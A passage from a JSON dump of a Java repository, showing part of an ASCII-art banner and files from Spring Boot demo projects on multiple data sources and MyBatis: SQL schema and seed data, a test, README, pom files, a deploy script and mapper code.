.:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  ...:\n#WWW#E#D#WEDEDLWWWWKDffKKWKK#W#WWWW##K##EWEW#K#K##W#W#W#W#WK#WEK##W#EKWEKWEW#K#WK#WKWKEEEDDEWWKWWWWWWKDDGGGGGDGDGDDDDEEEEEEEEEEEEDD :.:..:.: jjtDDDf. :.... : : :.... :  ..... ....:\nW###WW#EE#KEDDfEWWKKDfDDKKKWWK#WW#K##W#KKWWWWKKW#WWWKW#####W##W##W#KKKKKEEWWK#E##K##WWDDEDEDEWWEWWWWWKEDDGGGDGDGDGGDDEDEEKKKEEEEEED..:. . . .iijEDDj : .. ...  . .. .:  . .. .  .\n#WW###WKWWEDEDLKW#KEDfDEWKWK#W#KW#WWW#EWKKWWWWWKKK#W#W#W#K###W##W#KKKKKKKKWWWWW##W#KWEEEDEDEKKWKWWWWW#KDGDGGGGGGDGDDDDEEEEEEEEEEDEDi. :..::..jjjDDG,. . ..   : ..  : . :. ..: : : ..\nW#K#W##EWWWEDDLKWKKEDfDEEEW#KWK#WW#WK#WKWEWWWWW#WK#WWW###W#K###W###EKKW#WWE#WWWWWWWWEWDDEDDEEWKKWK#KWWWEDGGGDGDGDGDDDEDKEKEEEEKEEDDf,:. . . .tijDDf..   .. .. ..  :   .. : . . .\n#WWWW##EK#KEEDfKWKWEGfDEKKW#KKWW#K#KWWWWWEWW#E#K##K#KW###W#K#####KWEKKW#WWK##KKWKW#KKKDDDDDDDKWKKKKWW#WWDDGGDGDGGDDDDEDEEEKEEEDEDEDDL, .:...,jjGDDt : .: : ...... :  ... : ....: ..\n#W#W#W#WKKEDDDLKWW#EDfGKK#KW###WW#K#K#KKKWW#KWW#WW#K##K##K###W#W##EKKW#K#E#E#WWWWEKKWWEEDEEDEKKKKKWWKWWWEDDGGGGDDGDDDDEEEEEEKEEDEDDDDj.: ...tjDEDG,. .. . .: .: ....:.... : ... : ..\nWWW#W###EWKEDDLKKWKDDfGKKKW#WK#KWWWW#W#KWWWWEWK#WKW#KW##W###W####WWEWWW#WWE#K#WK#KWKWWEDEDEDEWKWKKKKWWWWWEDGDGGGDGDDDEEDEEEEEEDDDDEDDD.... .tDEDDD, ... :......... :  : .: :: .....\nWW###W##EWEEDDLKEWEKGfDEWW#W##WWW#KW#W#WE#WWWEW#WE#K###WK#WWK###WWEKWW#W#KWW#W#EEKKKW#WDDDDEDEKKKKKKKW#WWWWGGGGGDGDDDDEDEEEEEEDDDDDDDDj. ..;DEDDDL...:..:...:...::.........:..::..:\n##W#KW##EKWDGDfKKKKEDfDKEWWWWW#WK#K#WWWKWKW#KKK#WW#W##W#######W##WW#K##K##KW#KW#WEK#KKEEDKEDEDEWKWKWWKWKW#WDDGGGDGDDDEEEEEEEEDDDDDDDDDL,.. tEEDDDf..: ::..:: ::.::.::::..:..:..:.::.\nWWK#W###DEEEGDLEKKKKDfDEWK#K##W##W#EW#KWWW#KKW#W##WWWW##W#W#W##W#KEWKWW#KWK##W#KEEWW##KDEDDDEEDKWKWKWWWWWWWEDGDGGDDDDDEDEEEEDEDDDDDDDDGL .,tEDKDGf.:.:. :...:. :  :..:.::..: :. :...\nW#W#W###DEWEDGGEDKKEDLDKK#K#WW###W#WK#KWWW#EWW#W##W#K##WW#W#WW##WKKKKKWWWWWWK#KWKKK##KKEDEEDEEEDWKKKWKW#WWWWKDGGGDGDDDEDEEEEEDEDDDGDGDDDD.LDEEDDDj:..:::....::.:..: ::.:.... :...:.:\n#KW#WW##EEKDGDfDEKWEDLEK#K#K##W##K#KWWWWW#K#KWK###WW#W##W####W#KWE#EW##WWWW##WKKKK#WWKKDEDKKEEDEKWWWWKWKWWW#KEGGGGGDDEDEEEDEDDDDDDDDDGGGDjGDEDDDGj.:: ::.::: ::..::...: :.:::.....:\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/main/resources/sql/schema.sql",
    "content": "-- -------------------------------------以下是pos业务库开始-------------------------------------------\nCREATE DATABASE IF NOT EXISTS pos default charset utf8 COLLATE utf8_general_ci;\nSET FOREIGN_KEY_CHECKS=0;\nUSE pos;\n\n-- 后台管理用户表\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `username`                  VARCHAR(32) NOT NULL COMMENT '账号',\n  `name`                      VARCHAR(16) DEFAULT '' COMMENT '名字',\n  `password`                  VARCHAR(128) DEFAULT '' COMMENT '密码',\n  `salt`                      VARCHAR(64) DEFAULT '' COMMENT 'md5密码盐',\n  `phone`                     VARCHAR(32) DEFAULT '' COMMENT '联系电话',\n  `tips`                      VARCHAR(255) COMMENT '备注',\n  `state`                     TINYINT(1) DEFAULT 1 COMMENT '状态 1:正常 2:禁用',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='后台管理用户表';\n\n-- 下面是pos数据库中的插入数据\nINSERT INTO `t_user` VALUES (1,'admin','系统管理员','123456','www', '17890908889', '系统管理员', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_user` VALUES (2,'aix','张三','123456','eee', '17859569358', '', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n\n-- -------------------------------------以下biz业务库开始-------------------------------------------\nCREATE DATABASE IF NOT EXISTS biz default charset utf8 COLLATE utf8_general_ci;\nSET FOREIGN_KEY_CHECKS=0;\nUSE biz;\n\n-- 后台管理用户表\nDROP TABLE IF EXISTS `t_user`;\nCREATE TABLE `t_user` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `username`                  VARCHAR(32) NOT NULL COMMENT '账号',\n  `name`                      VARCHAR(16) DEFAULT '' COMMENT '名字',\n  `password`                  VARCHAR(128) DEFAULT '' COMMENT '密码',\n  `salt`                      VARCHAR(64) DEFAULT '' COMMENT 'md5密码盐',\n  `phone`                     VARCHAR(32) DEFAULT '' COMMENT '联系电话',\n  `tips`                      VARCHAR(255) COMMENT '备注',\n  `state`                     TINYINT(1) DEFAULT 1 COMMENT '状态 1:正常 2:禁用',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='后台管理用户表';\n\n\n-- 下面是biz数据库中的插入数据\nINSERT INTO `t_user` VALUES (1,'admin1','系统管理员','123456','www', '17890908889', '系统管理员', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_user` VALUES (2,'aix1','张三','123456','eee', '17859569358', '', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_multisource/src/test/java/com/xncoding/pos/ApplicationTests.java",
    "content": "package com.xncoding.pos;\n\nimport com.xncoding.pos.common.dao.entity.User;\nimport com.xncoding.pos.service.UserService;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.Resource;\n\nimport static org.hamcrest.MatcherAssert.assertThat;\nimport static org.hamcrest.Matchers.is;\nimport static org.hamcrest.Matchers.nullValue;\n\n/**\n * 测试\n */\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class ApplicationTests {\n    private static final Logger log = LoggerFactory.getLogger(ApplicationTests.class);\n\n    @Resource\n    private UserService userService;\n\n    /**\n     * 测试增删改查\n     */\n    @Test\n    public void test() {\n        // 核心数据库中的用户id=1\n        User user = userService.findById(1);\n        assertThat(user.getUsername(), is(\"admin\"));\n\n        // biz数据库中的用户id=1\n        User user1 = userService.findById1(1);\n        assertThat(user1.getUsername(), is(\"admin1\"));\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/.gitignore",
    "content": ".idea/\ntarget/\n*.iml\n*.ipr\n*.iws\n*.log\n.svn/\n.project\nrebel.xml\n.rebel-remote.xml.*\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/README.md",
    "content": "## 集成MyBatis\n\nSpringBoot集成MyBatis做DAO层，并使用mybatis-plus框架来简化对MyBatis的操作。\n\n## 安装MySQL数据库\n\n数据库的安装教程网上非常多，版本最好是mysql5.5+\n\n配置数据库的账号和密码。\n\n## 修改application.yml\n\n修改配置文件，主要是mysql的账号和密码\n\n## 数据库初始化\n\n创建数据库pos，然后执行SQL文件`src/main/resources/sql/schema.sql`，创建t_user表\n\n## 运行测试用例\n\n执行对用户表增/删/改/查的测试用例：`com.xncoding.pos.ApplicationTests.java`\n\n\n## 许可证\n\nCopyright (c) 2018 Xiong Neng\n\n基于 MIT 协议发布: <http://www.opensource.org/licenses/MIT>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_mybatis</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>1.5.9.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.7</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t\n\t\t<!-- https://mvnrepository.com/artifact/org.mybatis.spring.boot/mybatis-spring-boot-starter -->\n\t\t<dependency>\n\t\t    <groupId>org.mybatis.spring.boot</groupId>\n\t\t    <artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t    <version>1.3.1</version>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t\n\t\t<dependency>\n\t\t   <groupId>com.alibaba</groupId>\n\t\t   <artifactId>druid-spring-boot-starter</artifactId>\n\t\t   <version>1.1.6</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.oracle.database.jdbc</groupId>\n\t\t\t<artifactId>ojdbc5</artifactId>\n\t\t\t<version>11.2.0.4</version>\n\t\t</dependency>\n\t</dependencies>\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/run.sh",
    "content": "#!/bin/bash\n# 项目自动更新脚本\n# 先clone相应的分支下来：\n# git clone ssh://git@120.24.173.142:7999/xxx.git\n# 远程调试启动：\n# nohup java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n\nfunction start {\n    profile=\"$1\"\n    echo \"启动环境profile=${profile}\"\n    jarfile=$(ls target/*.jar)\n    if [[ \"$?\" == \"0\" ]]; then\n        stop $profile $jarfile\n    fi\n    branch=$(git branch |awk '{print $2}')\n    git pull origin ${branch}\n    echo \"更新完代码开始重新打包\"\n    mvn clean && mvn clean && mvn package -DskipTests=true\n    if [[ \"$?\" != \"0\" ]]; then\n        echo \"编译出错，退出！\"\n        exit 1\n    fi\n    echo \"nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\"\n    nohup java -Xms512m -Xmx1024m -jar -Dspring.profiles.active=${profile} ${jarfile} >/dev/null 2>&1 &\n    echo \"启动应用中，请查看日志文件...\"\n}\n\nfunction stop {\n    profile=\"$1\"\n    jarfile=\"$2\"\n    ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep > /dev/null\n    if [[ \"$?\" == \"0\" ]]; then\n        echo \"该应用还在跑，我先停了它\"\n        pid=$(ps aux | grep \"${jarfile}\" | grep \"spring.profiles.active=${profile}\" | grep -v grep |awk '{print $2}')\n        if [[ \"$pid\" != \"\" ]]; then\n            kill -9 $pid\n        fi\n        echo \"停止应用成功...\"\n    fi\n}\n\nif [[ \"$1\" == \"start\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh start {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    start \"${profile}\"\nelif [[ \"$1\" == \"stop\" ]]; then\n    if [[ \"$#\" < 2 ]]; then\n        echo \"请输入正确参数：./epay.sh stop  {profile}\"\n        exit 1\n    fi\n    profile=\"$2\"\n    if [[ \"$profile\" != \"dev\" && \"$profile\" != \"test\" && \"$profile\" != \"show\" && \"$profile\" != \"production\" ]]; then\n        echo \"参数错误，请输入正确的profile参数，使用方法：\"\n        echo \"./epay.sh stop {profile}     ==> 停止应用，{profile}取值：dev|test|show|production\"\n        exit 1\n    fi\n    jarfile=$(ls target/*.jar)\n    stop $profile $jarfile\nelse\n    echo \"参数错误，使用方法：{}参数是必填的，[]参数可选\"\n    echo \"./epay.sh start {profile}    ==> 启动应用，{profile}取值：dev|test|show|production\"\n    echo \"./epay.sh stop  {profile}    ==> 停止应用，{profile}取值：dev|test|show|production\"\n    exit 1\nfi\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>com.neo</groupId>\n\t<artifactId>spring-boot-mybatis-annotation</artifactId>\n\t<version>1.0.0</version>\n\t<packaging>jar</packaging>\n\n\t<name>spring-boot-mybatis-annotation</name>\n\t<description>Demo project for Spring Boot and mybatis</description>\n\n\t<parent>\n\t\t<groupId>org.springframework.boot</groupId>\n\t\t<artifactId>spring-boot-starter-parent</artifactId>\n\t\t<version>2.1.0.RELEASE</version>\n\t\t<relativePath/> <!-- lookup parent from repository -->\n\t</parent>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<java.version>1.8</java.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<dependency>\n\t        <groupId>org.springframework.boot</groupId>\n\t        <artifactId>spring-boot-starter-web</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>2.0.0</version>\n\t\t</dependency>\n\t     <dependency>\n\t        <groupId>mysql</groupId>\n\t        <artifactId>mysql-connector-java</artifactId>\n\t    </dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\t\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-maven-plugin</artifactId>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\t\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/main/java/com/neo/MybatisAnnotationApplication.java",
    "content": "package com.neo;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\n@MapperScan(\"com.neo.mapper\")\npublic class MybatisAnnotationApplication {\n\n\tpublic static void main(String[] args) {\n\t\tSpringApplication.run(MybatisAnnotationApplication.class, args);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/main/java/com/neo/enums/UserSexEnum.java",
    "content": "package com.neo.enums;\n\npublic enum UserSexEnum {\n\tMAN, WOMAN\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/main/java/com/neo/mapper/UserMapper.java",
    "content": "package com.neo.mapper;\n\nimport java.util.List;\n\nimport com.neo.model.User;\nimport org.apache.ibatis.annotations.Delete;\nimport org.apache.ibatis.annotations.Insert;\nimport org.apache.ibatis.annotations.Result;\nimport org.apache.ibatis.annotations.Results;\nimport org.apache.ibatis.annotations.Select;\nimport org.apache.ibatis.annotations.Update;\n\nimport com.neo.enums.UserSexEnum;\n\npublic interface UserMapper {\n\t\n\t@Select(\"SELECT * FROM users\")\n\t@Results({\n\t\t@Result(property = \"userSex\",  column = \"user_sex\", javaType = UserSexEnum.class),\n\t\t@Result(property = \"nickName\", column = \"nick_name\")\n\t})\n\tList<User> getAll();\n\t\n\t@Select(\"SELECT * FROM users WHERE id = #{id}\")\n\t@Results({\n\t\t@Result(property = \"userSex\",  column = \"user_sex\", javaType = UserSexEnum.class),\n\t\t@Result(property = \"nickName\", column = \"nick_name\")\n\t})\n\tUser getOne(Long id);\n\n\t@Insert(\"INSERT INTO users(userName,passWord,user_sex) VALUES(#{userName}, #{passWord}, #{userSex})\")\n\tvoid insert(User user);\n\n\t@Update(\"UPDATE users SET userName=#{userName},nick_name=#{nickName} WHERE id =#{id}\")\n\tvoid update(User user);\n\n\t@Delete(\"DELETE FROM users WHERE id =#{id}\")\n\tvoid delete(Long id);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_mybatis/spring-boot-mybatis-annotation/src/main/java/com/neo/model/User.java",
